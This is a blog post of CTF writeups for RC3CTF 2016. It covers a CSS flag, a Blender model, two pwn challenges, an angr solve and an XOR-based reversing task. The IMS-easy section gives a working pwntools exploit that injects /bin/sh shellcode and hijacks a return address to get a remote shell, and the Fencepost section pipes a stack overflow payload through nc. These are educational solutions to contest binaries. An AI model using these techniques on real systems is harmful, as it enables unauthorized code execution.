読者です 読者をやめる 読者になる 読者になる

ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

RC3CTF 2016 Writeup

CTF Exploit Reversing angr

# 運営がwrtieup読みてぇって書いていたから英語で書くよ (broken English sorry!)

I joined in RC3CTF 2016 (from 2016/11/19 to 20; 48 hours online CTF, Format: Jeopardy) as a member of Ping-Mic to welcome a new team member.

We got 1540 points and ended in 147-th place.

Archived Score Boroad

I solved following challenges:

  • All Trivias (writeups are omitted)
  • Who’s a good boy? - web 100
  • Graphic Design - for 200
  • IMS easy - pwn 150
  • Fensepost - pwn 150
  • Logmein - rev 100
  • *FLE - rev 200 (after contest is over)

This blog post is writeups for those challenges.

Who’s a good boy? - web 100

Just check the content of stylesheet (css file).

https://ctf.rc3.club:3000/doge.css

/*hiya*/
/*compress your frontend*/
/*here's a flag :)*/
flag:RC3-2016-CanineSS

Graphic Design - for 200

I saw # Blender v2.78 (sub 0) OBJ File: at the first line of obj file. I googled and found that obj file is a model data that can be loaded in Blender (one of CG software).

After Blender has imported obj file, I got following scene:

f:id:katc:20161123155707p:plain

Is there only a dynasaw? No, there’s a suspicious model:

f:id:katc:20161123155749p:plain

I made dynasaw invisible and made suspious model visible, then I got flag!!

f:id:katc:20161123155804p:plain

IMS easy - pwn 150

IMS holds records in stack and we can see stack and corrupt it.

C source code of IMS-easy may be like:

// .bss
int* index; // 0x80f0f9c

struct RECORD { // 12 bytes
    char product_code[8]; // 8 bytes
    int product_id; // 4 bytes
}

void print_menu(void) {
    _IO_puts("================================================");
    _IO_printf("|RC3 Inventory Management System (public %s)|\n", "alpha");
    _IO_puts("================================================");
    _IO_puts("1. Add record");
    _IO_puts("2. Delete record");
    _IO_puts("3. View record");
    _IO_puts("4. Quit");
    _IO_printf("Choose: ", "alpha");
    return;
}

int process_choice(int* arg0, int* index) {
    char buf[]:     // ebp-0x24
    int user_index; // ebp-0x18
    int i;          // ebp-0xC

    _IO_fgets(buf, 0xc, stdin); // upto 12 chars
    stack[2034] = 0x0;
    eax = strtol(buf, stack[2034], 0xa);
    // eax = eax;
    if (eax == 0x2) { // delete
        _IO_printf("Enter index to delete: ", stack[2034]);
        _IO_fgets(buf, 0xc, stdin);
        user_index = strtoul(buf, 0x0, 0xa);
        if ((user_index >= 0x0) && (*index > user_index)) {
                for (i = user_index + 0x1; i < *index; i++) {
                        memcpy(arg0 + (i + i + i << 0x2) + 0xfffffff4, (i + i + i << 0x2) + arg0, 0xc);
                }
                *index -= 1;
        }
        else {
                _IO_puts("That record does not exist");
        }
        return 0;
    }
    else if (eax == 0x1) { // register
        _IO_printf("Enter product ID: ", 0xa);
        _IO_fgets(buf, 0xc, stdin); // up to 12 chars
        eax = *index;
        *(0x8 + (eax + eax + eax << 0x2) + arg0) = strtoul(buf, 0x0, 0xa);
        _IO_printf("Enter product code: ", 0x0);
        _IO_fgets(buf, 0xc, stdin); // up to 12 chars
        var_14 = sub_80482c0(); // @plt
        if (var_14 != 0x0) {
                *(int8_t *)var_14 = 0x0;
        }
        eax = *index;
        sub_8048260();
        *index += 0x1;
        return 0;
    }
    else if (eax == 0x3) { // view
        _IO_printf("Enter the index of the product you wish to view: ", stack[2034]);
        _IO_fgets(buf, 0xc, stdin);
        user_index = strtol(buf, 0x0, 0xa);
        eax = *(0x8 + arg0 + (user_index + user_index + user_index << 0x2)); // information leak
        _IO_printf("Product ID: %d, Product Code: ", eax);
        fwrite(arg0 + (user_index + user_index + user_index << 0x2), 0x8, 0x1, stdout); // information leak
        fflush(stdout);
        return 0;
    }
    else {
        return 0x1;
    }  
}


int main(void) {
    RECORD* records[N]; // esp+0x1c

    esp = (esp & 0xfffffff0) - 0x60;
    setbuf(stdout, 0x0);
    sub_8048290(); // sub_8048290@plt
    do {
            print_menu();
            if (process_choice(records, index) != 0x0) {
                break;
            }
            _IO_printf("There are %d records in the IMS\n\n", *index);
    } while (true);
    return 0x0;
}

To obtain shell, I did:

  • write shellcode in records since NX bit is disabled
  • overwrite return address to address of shellcode (records)

this is exploit code to get shell (very dirty, sorry):

from pwn import *
from sys import argv

# context.log_level = 'debug'

BIN = "./IMS-easy"

## NOT WORKS!!
## http://shell-storm.org/shellcode/files/shellcode-585.php (25 bytes)
## shellcode = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
#
## http://shell-storm.org/shellcode/files/shellcode-827.php (23 bytes)
## shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# http://shell-storm.org/shellcode/files/shellcode-811.php (28 bytes)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

LOCAL = True
def bp():
    if LOCAL:
        raw_input("break point: ")

e = ELF(BIN)
if len(argv) > 1 and argv[1] == "r":
    LOCAL = False
    r = remote("ims.ctf.rc3.club", 7777)
else:
    r = process(BIN)

"""
1. Add record
2. Delete record
3. View record
4. Quit
"""

def add(product_id, product_code):
    r.sendline('1')
    r.sendline(product_id)
    r.sendline(product_code)

def delete(index):
    r.sendline('2')
    r.sendline(index)

def view(index):
    r.sendline('3')
    r.sendline(index)

def quit():
    r.sendline('4')

def wait_for_choice():
    r.recvuntil("Choose: ")

def parse_view():
    res = r.recvuntil("the IMS\n")
    # print res
    m = re.findall("Product ID: (\d+), Product Code: ([\x00-\xff]{8})There are \d+ records in the IMS", res)
    if m == None:
        log.error("view response error")
    _id, _code = m[0]
    return int(_id), u32(_code[4:8]), u32(_code[0:4])

DIG_INDEX = 7

# print "---------"
# for i in range(DIG_INDEX):
#     wait_for_choice()
#     view(str(i))
#     print "%#x, %#x, %#x" % parse_view()
# print "---------"

"""
0020| 0xffdfc7ac ("BBBBBBBB")
0024| 0xffdfc7b0 ("BBBB")
0028| 0xffdfc7b4 --> 0x0 
0032| 0xffdfc7b8 ("BBBBBBBB\001")
0036| 0xffdfc7bc ("BBBB\001")
0040| 0xffdfc7c0 --> 0x1 
0044| 0xffdfc7c4 --> 0x0 
0048| 0xffdfc7c8 --> 0x0 
0052| 0xffdfc7cc --> 0x0 
0056| 0xffdfc7d0 --> 0x0 
0060| 0xffdfc7d4 --> 0x0 
0064| 0xffdfc7d8 --> 0x0 
0068| 0xffdfc7dc --> 0x0 
0072| 0xffdfc7e0 --> 0x0 
0076| 0xffdfc7e4 --> 0x0 
0080| 0xffdfc7e8 --> 0xffdfc88c --> 0xffdfd671 ("LC_MEASUREMENT=en_US.UTF-8")
"""

wait_for_choice()
view("5")
_, _, records_ptr = parse_view()
records_ptr -= 0xe0
log.info("records = %#x" % records_ptr)

"""
0056| 0xffa7da80 ("BBBBBBBB\003")
0060| 0xffa7da84 ("BBBB\003")
0064| 0xffa7da88 --> 0x3 
"""

# 0
wait_for_choice()
add(str(u32(shellcode[8:12])), shellcode[0:8])
# 1
wait_for_choice()
add(str(u32(shellcode[20:24])), shellcode[12:20])
# 2
wait_for_choice()
add(str(0x114514), shellcode[24:28].ljust(8, '\x90'))
# add(str(0x114514), "\x90"*8)
for i in range(3):
    wait_for_choice()
    add(str(0x90909090), "\x90"*8) # nop sled
# 6 (overwrite return address)
wait_for_choice()
add(str(records_ptr), "A"*8)

bp()

# print "---------"
# for i in range(DIG_INDEX):
#     wait_for_choice()
#     view(str(i))
#     print "%#x, %#x, %#x" % parse_view()
# print "---------"

wait_for_choice()
quit() # trigger shellcode!!

r.interactive()
[katc@K_atc IMS-easy]$ python2 IMS-easy.py r
[*] Stack is executable!
[+] Opening connection to ims.ctf.rc3.club on port 7777: Done
[*] records = 0xffb31b1c
[*] Switching to interactive mode
$ ls /home
IMS-easy
IMS-hard
ubuntu
$ cd /home/IMS-easy
$ ls
IMS-easy
flag.txt
$ cat flag.txt
RC3-2016-REC0RDZ-G0T-R3KT

Fencepost - pwn 150

C source code of fencepost may like:

void congratz(void) {
    puts("Good job! Run on the server to get the actual flag.");
    return;
}

int main(void) {
    int var_4; // rbp-4
    char[] user_input; // rbp-48

    var_4 = 0xffffffff;
    puts("=== Welcome to the RC3 Secure CTF Login ===");
    puts("=== Please enter the correct password below ===");
    do {
            printf("Password: ");
            __isoc99_scanf("%s", user_input);
            rax = strlen(user_input);
            rax = rax + 0x1;
            user_input[rax] = '\0';
            if ([rbp-0x4] == 0x0) {
                break;
            }
            rax = strcmp(user_input, "not-the-real-pass");
    } while (rax != 0x0);
    if (var_4 == 0x0) {
            rax = congratz();
    }
    return rax;
}

We have to:

  • overwrite [rbp-4] to be 0

BOF is enough to overwrite variables value on stack. Since I didn’t know scanf takes NULL bytes, I thought it’s hard problem, but it’s very simple.

To get flag:

tc@K_atc fencepost]$ echo -e "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\0\0\0\0\0\0\0\0" > payload 
[katc@K_atc fencepost]$ cat payload - | nc 52.71.70.98 2091
=== Welcome to the RC3 Secure CTF Login ===
=== Please enter the correct password below ===
Password: RC3-2016-STACKPWN

Logmein - rev 100

Just use angr. find address is 0x4007f0 (congratz), avoid address is 0x4007c0 (incollect). I used Hopper plugin I developed. it took several seconds.

[*] bin path = /home/katc/Dropbox/CTF/rc3-fall-2016/logmein/logmein
found #avoid at 0x4007c0
found #find at 0x4007f0
finds = 0x4007f0
avoids = 0x4007c0
[*] executing angr script
==== [angr] ====
[*] angr exploring...
[*] found: stdin = 'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
==== [angr:stderr] ====
/usr/lib/python2.7/site-packages/pyvex/block.py:75: UserWarning: implicit cast from 'char *' to a different pointer type: will be forbidden in the future (check that the types are as you expect; use an explicit ffi.cast() if they are correct)
1)

================
[*] solve done

FLE - rev 200

Hint says “Try reversing it.” but I reversed (= decompiled) all things. but I got wrong flag:RC3-NOT-THE-FLAG-YOURE-LOOKING-FOR.

irc says just reverse it to get flag:

[04:17] <pwn3rs> any hints on rev 200 fle?
[04:17] <READY4THESCHWIFT> RE IT
[04:17] <wumb0> no
[04:17] <wumb0> reverse it
[04:18] <ducphan> lol fencepost changed category
[04:18] <pwn3rs> reversed it in ida
[04:18] <StatesideCash> yes
[04:18] <pwn3rs> found the bad flag
[04:18] <pwn3rs> and there is something in overlay
[04:19] <magu> dont spoil

So what? …Oh, reverse means reverse some strings?! But I didn’t think I need to reverse ELF file and replace first 4 bytes FLAG with \x7fELF.

following part is checking user input routine:

080480ae         add        ecx, eax
080480b0         inc        ecx
080480b1         mov        byte [ds:ecx], 0x0
080480b4         mov        esi, esp
080480b6         call       0x80480bb
080480bb         pop        ecx                                                 ; XREF=_start+42
080480bc         sub        ecx, 0xbb
080480c2         push       ecx
080480c3         push       0x0
080480c5         push       0x0
080480c7         mov        eax, dword [ds:ecx+0x1d02]
080480cd         bswap      eax
080480cf         push       eax
080480d0         mov        eax, dword [ds:ecx+0x1cfa]
080480d6         bswap      eax
080480d8         push       eax
080480d9         mov        eax, dword [ds:ecx+0x1dd1]
080480df         bswap      eax
080480e1         push       eax
080480e2         mov        eax, dword [ds:ecx+0x1bc7]
080480e8         bswap      eax
080480ea         push       eax
080480eb         mov        eax, dword [ds:ecx+0x148a]
080480f1         bswap      eax
080480f3         push       eax
080480f4         mov        eax, dword [ds:ecx+0x1482]
080480fa         bswap      eax
080480fc         push       eax
080480fd         mov        eax, dword [ds:ecx+0x147a]
08048103         bswap      eax
08048105         push       eax
08048106         mov        eax, dword [ds:ecx+0x1dc1]
0804810c         bswap      eax
0804810e         push       eax
0804810f         mov        eax, dword [ds:ecx+0x1bc2]
08048115         bswap      eax
08048117         push       eax
08048118         mov        eax, esp
0804811a         dec        ebx
0804811b         xor        ecx, ecx

0804811d         cmp        ecx, ebx                                            ; XREF=_start+163
0804811f         jge        0x8048131

08048121         mov        dl, byte [ds:eax]                                   ; *cipher
08048123         xor        dl, byte [ds:esi+ecx]                               ; user_input[ecx]
08048126         mov        byte [ds:esi+ecx], dl
08048129         add        eax, 0x1
0804812c         add        ecx, 0x1
0804812f         jmp        0x804811d

08048131         add        esp, 0x2c                                           ; XREF=_start+147
08048134         pop        ecx
08048135         lea        edi, dword [ds:ecx+0x1bcc]
0804813b         mov        ecx, ebx
0804813d         dec        ecx
0804813e         mov        esi, esp
08048140         call       calc_checksum
08048145         test       eax, eax
08048147         jne        avoid_0x804815a

It’s hard to analyze statically, so I carried out dynamic analysis with gdb and I could calculate real flag following python script:

# set break point at 0x08048118,in gdb, and see *$esp
good_known1 = "ahJd\024\032G\031\003r6\bl\033.jl\032UghvFd{\035P\177gc\022\005a\005"

# set break point at 0x08048140 in gdb, and see *$edi
# $edi = 0x8049bcc
good_known2 = "3+yI&*v/.+sI$6j+8Ix%-\"\022!)0\022\060.*\022W\"6"

flag = ''.join([chr(ord(x) ^ ord(y)) for x, y in zip(good_known1, good_known2)])
print flag

the result is:

"""
[katc@K_atc fle]$ python2 fle-solved.py 
RC3-2016-YEAH-DATS-BETTER-BOIIRC3
"""

I (we) usually participate in non-bigginer contests and I felt unsatisfactory, but I think it’s good a measure to get used to SECCON online CTF.

In “IMS hard”, I got to get shell locally (Ubuntu 14.04LTS), but it didn’t work corretly against remote server. What went wrong…? (It seemed Ubuntu’s prebuild libc is working on the server insted of customised libc:()